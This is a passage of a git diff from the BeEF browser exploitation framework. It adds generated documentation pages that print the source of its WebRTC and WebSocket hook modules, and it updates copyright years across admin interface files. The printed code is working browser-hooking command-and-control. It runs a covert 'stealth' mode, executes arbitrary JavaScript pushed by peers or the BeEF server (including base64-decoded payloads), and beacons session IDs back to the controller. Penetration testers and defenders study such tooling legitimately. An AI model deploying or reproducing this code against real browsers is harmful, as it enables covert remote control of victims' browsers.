+            this.processSignalingMessage(this.msgQueue.shift());
+        }
+    } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
+        beef.debug('.. not an answer ..');
+        this.msgQueue.push(msg);
+    }
+  } else { // For all other messages just drop them in the queue
+    beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
+    this.processSignalingMessage(msg);
+  } 
+}
+
+/** 
+ * Send a signalling message ..
+ * @memberof beef.webrtc
+ */ 
+Beefwebrtc.prototype.sendSignalMsg = function(message) {
+  var msgString = JSON.stringify(message);
+  beef.debug('Signalling Message - C->S: ' + msgString);
+  beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
+}
+
+/**
+ * Used to record ICS candidates locally
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
+  if (this.gatheredIceCandidateTypes[location][type])
+    return;
+  this.gatheredIceCandidateTypes[location][type] = 1;
+  // updateInfoDiv();
+}
+
+
+/**
+ * When the signalling state changes. We don't actually do anything with this except log it.
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
+  beef.debug("Signalling has changed to: " + event.target.signalingState);
+}
+
+/**
+ * When the ICE Connection State changes - this is useful to determine connection statuses with peers.
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
+  var peerid = null;
+
+  for (k in globalrtc) {
+    if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
+      peerid = k;
+    }
+  }
+
+  beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
+
+  // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for 
+  // better candidates or connections
+  if (event.target.iceConnectionState === 'connected') {
+    //Send status to peer
+    window.setTimeout(function() {
+        beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
+        beefrtcs[peerid].allgood = true;
+        },1000);
+  }
+
+  // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
+  if (event.target.iceConnectionState === 'completed') {
+    window.setTimeout(function() {
+      beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
+      beefrtcs[peerid].allgood = true;
+    },1000);
+  }
+
+  if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
+    //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
+    rtcstealth = false;
+    beefrtcs[peerid].allgood = false;
+    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
+  } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
+    //I was not in stealth, and this peer has gone offline - send a message
+    beefrtcs[peerid].allgood = false;
+    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
+  }
+  // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
+  // This is possibly a bad idea - @xntrik
+
+
+}
+
+/**
+ * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.goStealth = function() {
+    //stop the beef updater
+    rtcstealth = this.peerid; // this is a global variable
+    beef.updater.lock = true;
+    this.sendPeerMsg('Going into stealth mode');
+
+    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
+}
+
+/**
+ * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
+ * @memberof beef.webrtc
+ */
+rtcpollPeer = function() {
+    if (rtcstealth == false) {
+        //my peer has disabled stealth mode
+        beef.updater.lock = false;
+        return;
+    }
+
+    beef.debug('lub dub');
+
+    beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
+
+    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
+}
+
+/** 
+ * When a data channel has been established - within here is the message handling function as well
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onDataChannel = function(event) {
+  var peerid = null;
+  for (k in globalrtc) {
+    if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
+      peerid = k;
+    }
+  }
+
+  beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
+  rtcrecvchan[peerid] = event.channel;
+
+  // This is the onmessage event handling within the datachannel
+  rtcrecvchan[peerid].onmessage = function(ev2) {
+    beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
+
+    // We've received the command to go into stealth mode
+    if (ev2.data == "!gostealth") {
+        if (beef.updater.lock == true) {
+            setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
+        } else {
+            beefrtcs[peerid].goStealth();
+        }
+
+    // The message to come out of stealth
+    } else if (ev2.data == "!endstealth") {
+
+      if (rtcstealth != null) {
+        beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
+        rtcstealth = false;
+      }
+
+    // Command to perform arbitrary JS (while stealthed)
+    } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
+      beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
+      beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
+
+    // Command to perform arbitrary JS (while NOT stealthed)
+    } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
+      beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
+      beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
+
+    // B64d command from the /cmdexec API
+    } else if (ev2.data.charAt(0) == "@") {
+      beef.debug('message was a b64d command');
+
+      var fn = new Function(atob(ev2.data.substring(1)));
+      fn();
+      if (rtcstealth != false) { // force stealth back on ?
+        beef.updater.execute_commands(); // FORCE execution while stealthed
+        beef.updater.lock = true;
+      }
+
+
+    // Just a plain text message .. (while stealthed)
+    } else if (rtcstealth != false) {
+      beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
+      beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
+
+    // Just a plan text message (while NOT stealthed)
+    } else {
+      beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
+      beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
+    }
+  } 
+}
+
+/**
+ * How the browser executes received JS (this is pretty hacky)
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.execCmd = function(input) {
+  var fn = new Function(input);
+  var res = fn();
+  return res.toString();
+}
+
+/**
+ * Shortcut function to SEND a data messsage
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.sendPeerMsg = function(msg) {
+  beef.debug('sendPeerMsg to ' + this.peerid);
+  this.dataChannel.send(msg);
+}
+
+/**
+ * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.maybeStart = function() {
+  beef.debug("maybe starting ... ");
+
+  if (!this.started && this.signalingReady && this.turnDone) {
+    beef.debug('Creating PeerConnection.');
+    this.createPeerConnection();
+
+    this.started = true;
+
+    if (this.initiator) {
+      beef.debug("Making the call now .. bzz bzz");
+      this.doCall();
+    } else {
+      beef.debug("Receiving a call now .. somebuddy answer da fone?");
+      this.calleeStart();
+    }
+
+  } else {
+    beef.debug("Not ready to start just yet..");
+  }
+}
+
+/** 
+ * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.doCall = function() {
+  var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
+  var self = this;
+  globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
+  beef.debug('Sending offer to peer, with constraints: \n' +
+             '  \'' + JSON.stringify(constraints) + '\'.');
+}
+
+/**
+ * Helper method to merge SDP constraints
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
+  var merged = cons1;
+  for (var name in cons2.mandatory) {
+    merged.mandatory[name] = cons2.mandatory[name];
+  }
+  merged.optional.concat(cons2.optional);
+  return merged;
+}
+
+/**
+ * Sets the local RTC session description, sends this information back (via signalling)
+ * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
+ * The receiver uses this information too - and vice-versa - hence the signaling
+ * 
+ */
+Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
+  var peerid = null;
+
+  for (var k in beefrtcs) {
+    if (beefrtcs[k].allgood === false) {
+      peerid = beefrtcs[k].peerid;
+    }
+  }
+  beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
+
+  globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
+  beefrtcs[peerid].sendSignalMsg(sessionDescription);
+
+  function onSetSessionDescriptionSuccess() {
+    beef.debug('Set session description success.');
+  }
+
+  function onSetSessionDescriptionError() {
+    beef.debug('Failed to set session description');
+  }
+}
+
+/**
+ * If the browser can't build an SDP
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
+  beef.debug('Failed to create session description: ' + error.toString());
+}
+
+/**
+ * If the browser successfully sets a remote description
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
+  beef.debug('Set remote session description successfully');
+}
+
+/**
+ * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.calleeStart = function() {
+  // Callee starts to process cached offer and other messages.
+  while (this.msgQueue.length > 0) {
+    this.processSignalingMessage(this.msgQueue.shift());
+  }
+}
+
+/** 
+ * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.processSignalingMessage = function(message) {
+  if (!this.started) {
+    beef.debug('peerConnection has not been created yet!');
+    return;
+  }
+
+  if (message.type === 'offer') {
+    beef.debug("Processing signalling message: OFFER");
+    if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
+                                     // version of FF - which no longer works
+        beef.debug("Moz shim here");
+        globalrtc[this.peerid].setRemoteDescription(
+            new RTCSessionDescription(message),
+            function() {
+              // globalrtc[this.peerid].createAnswer(function(answer) {
+              //   globalrtc[this.peerid].setLocalDescription(
+
+              var peerid = null;
+
+              for (var k in beefrtcs) {
+                if (beefrtcs[k].allgood === false) {
+                  peerid = beefrtcs[k].peerid;
+                }
+              }
+
+              globalrtc[peerid].createAnswer(function(answer) {
+                globalrtc[peerid].setLocalDescription(
+                    new RTCSessionDescription(answer),
+                    function() {
+                      beefrtcs[peerid].sendSignalMsg(answer);
+                    },function(error) {
+                      beef.debug("setLocalDescription error: " + error);
+                    });
+              },function(error) {
+                beef.debug("createAnswer error: " +error);
+              });
+            },function(error) {
+              beef.debug("setRemoteDescription error: " + error);
+            });
+                          
+    } else {
+      this.setRemote(message);
+      this.doAnswer();
+    }
+  } else if (message.type === 'answer') {
+    beef.debug("Processing signalling message: ANSWER");
+    if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
+        beef.debug("Moz shim here");
+        globalrtc[this.peerid].setRemoteDescription(
+          new RTCSessionDescription(message),
+          function() {},
+          function(error) {
+            beef.debug("setRemoteDescription error: " + error);
+          });
+    } else {
+      this.setRemote(message);
+    }
+  } else if (message.type === 'candidate') {
+    beef.debug("Processing signalling message: CANDIDATE");
+    var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
+                                         candidate: message.candidate});
+    this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
+    globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
+  } else if (message.type === 'bye') {
+    this.onRemoteHangup();
+  }
+}
+
+/**
+ * Used to set the RTC remote session
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.setRemote = function(message) {
+    globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
+       this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
+}
+
+/** 
+ * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.doAnswer = function() {
+  beef.debug('Sending answer to peer.');
+  globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
+}
+
+/** 
+ * Helper method to determine what kind of ICE Candidate we've received
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
+  if (candidateSDP.indexOf("typ relay ") >= 0)
+    return "TURN";
+  if (candidateSDP.indexOf("typ srflx ") >= 0)
+    return "STUN";
+  if (candidateSDP.indexOf("typ host ") >= 0)
+    return "HOST";
+  return "UNKNOWN";
+}
+
+/**
+ * Event handler for successful addition of ICE Candidates
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
+  beef.debug('AddIceCandidate success.');
+}
+
+/**
+ * Event handler for unsuccessful addition of ICE Candidates
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
+  beef.debug('Failed to add Ice Candidate: ' + error.toString());
+}
+
+/** 
+ * If a peer hangs up (we bring down the peerconncetion via the stop() method)
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onRemoteHangup = function() {
+  beef.debug('Session terminated.');
+  this.initiator = 0;
+  // transitionToWaiting();
+  this.stop();
+}
+
+/** 
+ * Bring down the peer connection
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.stop = function() {
+  this.started = false; // we're no longer started
+  this.signalingReady = false; // signalling isn't ready
+  globalrtc[this.peerid].close(); // close the RTCPeerConnection option
+  globalrtc[this.peerid] = null; // Remove it
+  this.msgQueue.length = 0; // clear the msgqueue
+  rtcstealth = false; // no longer stealth
+  this.allgood = false; // allgood .. NAH UH
+}
+
+/**
+ * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
+ * These are the methods which are executed via the custom extension of the hook.js
+ * @memberof beef.webrtc
+ */
+beef.webrtc = {
+  // Start the RTCPeerConnection process
+  start: function(initiator,peer,turnjson,stunservers,verbose) {
+    if (peer in beefrtcs) {
+      // If the RTC peer is not in a good state, try kickng it off again
+      // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
+      if (beefrtcs[peer].allgood == false) {
+        beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
+        beefrtcs[peer].initialize();
+      }
+    } else {
+      // Standard behaviour for new peer connections
+      beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
+      beefrtcs[peer].initialize();
+    }
+  },
+
+  // Check the status of all my peers .. 
+  status: function(me) {
+    if (Object.keys(beefrtcs).length > 0) {
+      for (var k in beefrtcs) {
+        if (beefrtcs.hasOwnProperty(k)) {
+          beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
+        }
+      }
+    } else {
+      beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
+    }
+  }
+}
+beef.regCmp('beef.webrtc');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/websocket.js.html b/docs/websocket.js.html new file mode 100644 index 000000000..f691090ba --- /dev/null +++ b/docs/websocket.js.html @@ -0,0 +1,142 @@ + + + + + JSDoc: Source: websocket.js + + + + + + + + + + +
+ +

Source: websocket.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+/**
+ * Manage the WebSocket communication channel.
+ * This channel is much faster and responsive, and it's used automatically
+ * if the browser supports WebSockets AND beef.http.websocket.enable = true.
+ * @namespace beef.websocket
+ */
+
+beef.websocket = {
+
+    socket:null,
+    ws_poll_timeout: "<%= @ws_poll_timeout %>",
+    ws_connect_timeout: "<%= @ws_connect_timeout %>",
+
+    /**
+     * Initialize the WebSocket client object.
+     * Note: use WebSocketSecure only if the hooked origin is under https.
+     * Mixed-content in WS is quite different from a non-WS context.
+     */
+    init:function () {
+        var webSocketServer = beef.net.host;
+        var webSocketPort = "<%= @websocket_port %>";
+        var webSocketSecure = "<%= @websocket_secure %>";
+        var protocol = "ws://";
+
+        if(webSocketSecure && window.location.protocol=="https:"){
+            protocol = "wss://";
+            webSocketPort= "<%= @websocket_sec_port %>";
+        }
+
+        if (beef.browser.isFF() && !!window.MozWebSocket) {
+            beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+        }else{
+            beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+        }
+
+    },
+
+    /**
+     * Send Helo message to the BeEF server and start async polling.
+     */
+    start:function () {
+        new beef.websocket.init();
+        this.socket.onopen = function () {
+            beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
+            beef.websocket.alive();
+        };
+
+        this.socket.onmessage = function (message) {
+            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
+            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
+            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
+            new Function(message.data)();
+        };
+
+        this.socket.onclose = function () {
+            setTimeout(function(){beef.websocket.start()}, 5000);
+        };
+    },
+
+    /**
+     * Send data back to BeEF. This is basically the same as beef.net.send,
+     * but doesn't queue commands.
+     * Example usage:
+     * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
+     * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
+     * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
+     */
+    send:function (data) {
+        try {
+            this.socket.send(data);
+        }catch(err){}
+    },
+
+    /**
+     * Polling mechanism, to notify the BeEF server that the browser is still hooked,
+     * and the WebSocket channel still alive.
+     * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
+     */
+    alive: function (){
+        beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
+        setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
+    }
+};
+
+beef.regCmp('beef.websocket');
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index 39ac554ac..1e25887ed 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb index ff7fbe4f9..d826b9d37 100644 --- a/extensions/admin_ui/classes/httpcontroller.rb +++ b/extensions/admin_ui/classes/httpcontroller.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb index 76702a59a..74d89687a 100644 --- a/extensions/admin_ui/classes/session.rb +++ b/extensions/admin_ui/classes/session.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/config.yaml b/extensions/admin_ui/config.yaml index bc9a7a94d..0d112332e 100644 --- a/extensions/admin_ui/config.yaml +++ b/extensions/admin_ui/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/constants/icons.rb b/extensions/admin_ui/constants/icons.rb index 2b065309d..851d453ab 100644 --- a/extensions/admin_ui/constants/icons.rb +++ b/extensions/admin_ui/constants/icons.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb index ad406c8a0..6fde20ed5 100644 --- a/extensions/admin_ui/controllers/authentication/authentication.rb +++ b/extensions/admin_ui/controllers/authentication/authentication.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/controllers/authentication/index.html b/extensions/admin_ui/controllers/authentication/index.html index d0ba86188..cb4c1d354 100644 --- a/extensions/admin_ui/controllers/authentication/index.html +++ b/extensions/admin_ui/controllers/authentication/index.html @@ -1,5 +1,5 @@ diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index e1c8c964d..9663735e5 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/controllers/panel/index.html b/extensions/admin_ui/controllers/panel/index.html index dd09fdb2a..2bc72d92b 100644 --- a/extensions/admin_ui/controllers/panel/index.html +++ b/extensions/admin_ui/controllers/panel/index.html @@ -1,5 +1,5 @@ diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 6dc874d91..ef77ff0ad 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/extension.rb b/extensions/admin_ui/extension.rb index 3c496021b..bb5ea19f5 100644 --- a/extensions/admin_ui/extension.rb +++ b/extensions/admin_ui/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb index 1a617d5f5..147d1219c 100644 --- a/extensions/admin_ui/handlers/ui.rb +++ b/extensions/admin_ui/handlers/ui.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index b2be706c0..1a31124e9 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/admin_ui/media/css/ext-all.css b/extensions/admin_ui/media/css/ext-all.css index f252cc248..7468b7c21 100644 --- a/extensions/admin_ui/media/css/ext-all.css +++ b/extensions/admin_ui/media/css/ext-all.css @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/admin_ui/media/css/wterm.css b/extensions/admin_ui/media/css/wterm.css index 4eb0382e8..cae7b3b8d 100644 --- a/extensions/admin_ui/media/css/wterm.css +++ b/extensions/admin_ui/media/css/wterm.css @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/admin_ui/media/javascript/esapi/Class.create.js b/extensions/admin_ui/media/javascript/esapi/Class.create.js index f35c2267e..32cd5bcf5 100644 --- a/extensions/admin_ui/media/javascript/esapi/Class.create.js +++ b/extensions/admin_ui/media/javascript/esapi/Class.create.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/extensions/admin_ui/media/javascript/ui/authentication.js b/extensions/admin_ui/media/javascript/ui/authentication.js index fe60e23cc..ff6987f98 100644 --- a/extensions/admin_ui/media/javascript/ui/authentication.js +++ b/extensions/admin_ui/media/javascript/ui/authentication.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/common/beef_common.js b/extensions/admin_ui/media/javascript/ui/common/beef_common.js index c7c4126d4..a8da6257c 100644 --- a/extensions/admin_ui/media/javascript/ui/common/beef_common.js +++ b/extensions/admin_ui/media/javascript/ui/common/beef_common.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js index f7e2331f0..bf376a03b 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/HooksTab.js b/extensions/admin_ui/media/javascript/ui/panel/HooksTab.js index 5f4e84f69..5fbd595f7 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/HooksTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/HooksTab.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/Logout.js b/extensions/admin_ui/media/javascript/ui/panel/Logout.js index 0849a7d6c..f05f54494 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/Logout.js +++ b/extensions/admin_ui/media/javascript/ui/panel/Logout.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js index ab5868441..adfc5dd74 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git 